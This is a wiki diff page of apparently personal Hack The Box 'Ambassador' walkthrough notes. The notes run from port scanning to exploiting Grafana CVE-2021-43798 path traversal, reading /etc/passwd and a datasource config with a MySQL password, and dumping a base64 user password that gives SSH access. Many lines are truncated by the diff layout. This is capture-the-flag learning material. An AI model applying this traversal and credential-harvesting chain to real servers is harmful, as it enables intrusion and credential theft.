ex:htb:ambassador:start
Differences
This shows you the differences between two versions of the page.
Next revision | Previous revision | ||
ex:htb:ambassador:start [2022/12/22 10:31] – created ebaer | ex:htb:ambassador:start [2022/12/22 17:44] (current) – ebaer | ||
---|---|---|---|
Line 1: | Line 1: | ||
====== Ambassador ====== | ====== Ambassador ====== | ||
+ | |||
+ | |||
+ | |||
+ | ===== NMAP ===== | ||
< | < | ||
+ | nmap -sS -Pn 10.129.228.56 | ||
+ | Starting Nmap 7.93 ( https:// | ||
+ | Nmap scan report for 10.129.228.56 | ||
+ | Host is up (0.060s latency). | ||
+ | Not shown: 996 closed tcp ports (reset) | ||
+ | PORT STATE SERVICE | ||
+ | 22/ | ||
+ | 80/ | ||
+ | 3000/tcp open ppp | ||
+ | 3306/tcp open mysql | ||
</ | </ | ||
+ | < | ||
+ | nmap -A 10.129.228.56 | ||
+ | Starting Nmap 7.93 ( https:// | ||
+ | Nmap scan report for 10.129.228.56 | ||
+ | Host is up (0.043s latency). | ||
+ | Not shown: 996 closed tcp ports (reset) | ||
+ | PORT STATE SERVICE VERSION | ||
+ | 22/ | ||
+ | | ssh-hostkey: | ||
+ | | 3072 29dd8ed7171e8e3090873cc651007c75 (RSA) | ||
+ | | 256 80a4c52e9ab1ecda276439a408973bef (ECDSA) | ||
+ | |_ 256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519) | ||
+ | 80/ | ||
+ | |_http-server-header: | ||
+ | |_http-generator: | ||
+ | |_http-title: | ||
+ | 3000/tcp open ppp? | ||
+ | | fingerprint-strings: | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | Date: Thu, 22 Dec 2022 09:34:00 GMT | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | Date: Thu, 22 Dec 2022 09:33:29 GMT | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | Date: Thu, 22 Dec 2022 09:33:34 GMT | ||
+ | |_ Content-Length: | ||
+ | 3306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2 | ||
+ | | mysql-info: | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | | ||
+ | | Some Capabilities: | ||
+ | | | ||
+ | | Salt: <, | ||
+ | |_ Auth Plugin Name: caching_sha2_password | ||
+ | </ | ||
+ | |||
+ | |||
+ | ===== Website ===== | ||
+ | |||
+ | {{: | ||
+ | |||
+ | ==== Gobuster ==== | ||
+ | |||
+ | < | ||
+ | gobuster dir -w / | ||
+ | =============================================================== | ||
+ | Gobuster v3.3 | ||
+ | by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) | ||
+ | =============================================================== | ||
+ | [+] Url: | ||
+ | [+] Method: | ||
+ | [+] Threads: | ||
+ | [+] Wordlist: | ||
+ | [+] Negative Status codes: | ||
+ | [+] User Agent: | ||
+ | [+] Timeout: | ||
+ | =============================================================== | ||
+ | 2022/12/22 10:41:28 Starting gobuster in directory enumeration mode | ||
+ | =============================================================== | ||
+ | /.hta | ||
+ | / | ||
+ | / | ||
+ | / | ||
+ | / | ||
+ | / | ||
+ | / | ||
+ | / | ||
+ | / | ||
+ | /tags | ||
+ | Progress: 4561 / 4615 (98.83%)=============================================================== | ||
+ | 2022/12/22 10:41:49 Finished | ||
+ | =============================================================== | ||
+ | |||
+ | |||
+ | </ | ||
+ | |||
+ | ====== Grafana - Port 3000 ====== | ||
+ | |||
+ | * Version 8.2.0 -> CVE-2021-43798 | ||
+ | |||
+ | < | ||
+ | gobuster dir -w / | ||
+ | =============================================================== | ||
+ | Gobuster v3.3 | ||
+ | by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) | ||
+ | =============================================================== | ||
+ | [+] Url: | ||
+ | [+] Method: | ||
+ | [+] Threads: | ||
+ | [+] Wordlist: | ||
+ | [+] Negative Status codes: | ||
+ | [+] Exclude Length: | ||
+ | [+] User Agent: | ||
+ | [+] Timeout: | ||
+ | =============================================================== | ||
+ | 2022/12/22 10:49:23 Starting gobuster in directory enumeration mode | ||
+ | =============================================================== | ||
+ | /apis | ||
+ | /api (Status: 401) [Size: 27] | ||
+ | / | ||
+ | /org (Status: 302) [Size: 24] [--> /] | ||
+ | / | ||
+ | / | ||
+ | / | ||
+ | Progress: 4509 / 4615 (97.70%)=============================================================== | ||
+ | 2022/12/22 10:49:44 Finished | ||
+ | =============================================================== | ||
+ | </ | ||
+ | |||
+ | < | ||
+ | https:// | ||
+ | |||
+ | ./ | ||
+ | 2022/12/22 11:15:24 Target vulnerable has plugin [alertlist] | ||
+ | 2022/12/22 11:15:24 Got secret_key [SW2YcwTIb9zpOOhoPsMm] | ||
+ | 2022/12/22 11:15:24 There is [0] records in db. | ||
+ | 2022/12/22 11:15:24 type: | ||
+ | 2022/12/22 11:15:24 All Done, have nice day! | ||
+ | |||
+ | </ | ||
+ | |||
+ | ===== RFI CVE-2021-43798 ===== | ||
+ | |||
+ | |||
+ | < | ||
+ | GET / | ||
+ | Host: 10.129.228.56: | ||
+ | Upgrade-Insecure-Requests: | ||
+ | User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/ | ||
+ | Accept: text/ | ||
+ | Accept-Encoding: | ||
+ | Accept-Language: | ||
+ | Cookie: redirect_to=%2Fpublic%2Fplugins%2Fmysql%2F | ||
+ | Connection: close | ||
+ | |||
+ | </ | ||
+ | |||
+ | < | ||
+ | |||
+ | root: | ||
+ | daemon: | ||
+ | bin: | ||
+ | sys: | ||
+ | sync: | ||
+ | games: | ||
+ | man: | ||
+ | lp: | ||
+ | mail: | ||
+ | news: | ||
+ | uucp: | ||
+ | proxy: | ||
+ | www-data: | ||
+ | backup: | ||
+ | list: | ||
+ | irc: | ||
+ | gnats: | ||
+ | nobody: | ||
+ | systemd-network: | ||
+ | systemd-resolve: | ||
+ | systemd-timesync: | ||
+ | messagebus: | ||
+ | syslog: | ||
+ | _apt: | ||
+ | tss: | ||
+ | uuidd: | ||
+ | tcpdump: | ||
+ | landscape: | ||
+ | pollinate: | ||
+ | usbmux: | ||
+ | sshd: | ||
+ | systemd-coredump: | ||
+ | developer: | ||
+ | lxd: | ||
+ | grafana: | ||
+ | mysql: | ||
+ | consul: | ||
+ | |||
+ | </ | ||
+ | |||
+ | < | ||
+ | GET / | ||
+ | </ | ||
+ | |||
+ | < | ||
+ | / | ||
+ | |||
+ | GET / | ||
+ | |||
+ | HTTP/1.1 200 OK | ||
+ | Accept-Ranges: | ||
+ | Cache-Control: | ||
+ | Content-Length: | ||
+ | Content-Type: | ||
+ | Expires: -1 | ||
+ | Last-Modified: | ||
+ | Pragma: no-cache | ||
+ | X-Content-Type-Options: | ||
+ | X-Frame-Options: | ||
+ | X-Xss-Protection: | ||
+ | Date: Thu, 22 Dec 2022 13:26:24 GMT | ||
+ | Connection: close | ||
+ | |||
+ | apiVersion: 1 | ||
+ | |||
+ | datasources: | ||
+ | - name: mysql.yaml | ||
+ | type: mysql | ||
+ | host: localhost | ||
+ | | ||
+ | user: grafana | ||
+ | | ||
+ | | ||
+ | |||
+ | </ | ||
+ | |||
+ | ===== msf mysql enum ===== | ||
+ | |||
+ | < | ||
+ | msf6 > use auxiliary/ | ||
+ | msf6 auxiliary(admin/ | ||
+ | |||
+ | Name: MySQL Enumeration Module | ||
+ | | ||
+ | License: Metasploit Framework License (BSD) | ||
+ | Rank: Normal | ||
+ | |||
+ | Provided by: | ||
+ | Carlos Perez < | ||
+ | |||
+ | Check supported: | ||
+ | No | ||
+ | |||
+ | Basic options: | ||
+ | Name Current Setting | ||
+ | ---- --------------- | ||
+ | PASSWORD | ||
+ | RHOSTS | ||
+ | RPORT | ||
+ | USERNAME | ||
+ | |||
+ | Description: | ||
+ | This module allows for simple enumeration of MySQL Database Server | ||
+ | provided proper credentials to connect remotely. | ||
+ | |||
+ | References: | ||
+ | https:// | ||
+ | |||
+ | |||
+ | View the full module info with the info -d command. | ||
+ | |||
+ | msf6 auxiliary(admin/ | ||
+ | PASSWORD => dontStandSoCloseToMe63221! | ||
+ | msf6 auxiliary(admin/ | ||
+ | RHOSTS => 10.129.228.56 | ||
+ | msf6 auxiliary(admin/ | ||
+ | username => grafana | ||
+ | msf6 auxiliary(admin/ | ||
+ | ConnectTimeout => 30 | ||
+ | msf6 auxiliary(admin/ | ||
+ | |||
+ | </ | ||
+ | |||
+ | -> Timeout (anti metasploit measures?) | ||
+ | |||
+ | ===== MySQL manual ===== | ||
+ | |||
+ | < | ||
+ | show databases; | ||
+ | use information_schema | ||
+ | select * from tables; | ||
+ | |||
+ | |||
+ | | def | whackywidget | ||
+ | | def | performance_schema | innodb_redo_log_files | ||
+ | +---------------+--------------------+------------------------------------------------------+-------------+--------------------+---------+------------+------------+----------------+-------------+-----------------+--------------+-----------+----------------+---------------------+-------------+------------+--------------------+----------+---------------------------------------+------------------------------------------+ | ||
+ | 329 rows in set (0.325 sec) | ||
+ | |||
+ | MySQL [information_schema]> | ||
+ | Reading table information for completion of table and column names | ||
+ | You can turn off this feature to get a quicker startup with -A | ||
+ | |||
+ | Database changed | ||
+ | MySQL [whackywidget]> | ||
+ | +------------------------+ | ||
+ | | Tables_in_whackywidget | | ||
+ | +------------------------+ | ||
+ | | users | | ||
+ | +------------------------+ | ||
+ | 1 row in set (0.048 sec) | ||
+ | |||
+ | MySQL [whackywidget]> | ||
+ | +-----------+------------------------------------------+ | ||
+ | | user | pass | | ||
+ | +-----------+------------------------------------------+ | ||
+ | | developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== | | ||
+ | +-----------+------------------------------------------+ | ||
+ | 1 row in set (0.047 sec) | ||
+ | |||
+ | </ | ||
+ | |||
+ | < | ||
+ | echo " | ||
+ | anEnglishManInNewYork027468 | ||
+ | |||
+ | </ | ||
+ | |||
+ | |||
+ | < | ||
+ | sh developer@10.129.228.56 | ||
+ | developer@10.129.228.56' | ||
+ | Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64) | ||
+ | |||
+ | [...] | ||
+ | |||
+ | Last login: Fri Sep 2 02:33:30 2022 from 10.10.0.1 | ||
+ | developer@ambassador: | ||
+ | bdff80ba21c478079a3332f785c4ddba | ||
ex/htb/ambassador/start.1671701470.txt.gz · Last modified: 2022/12/22 10:31 by ebaer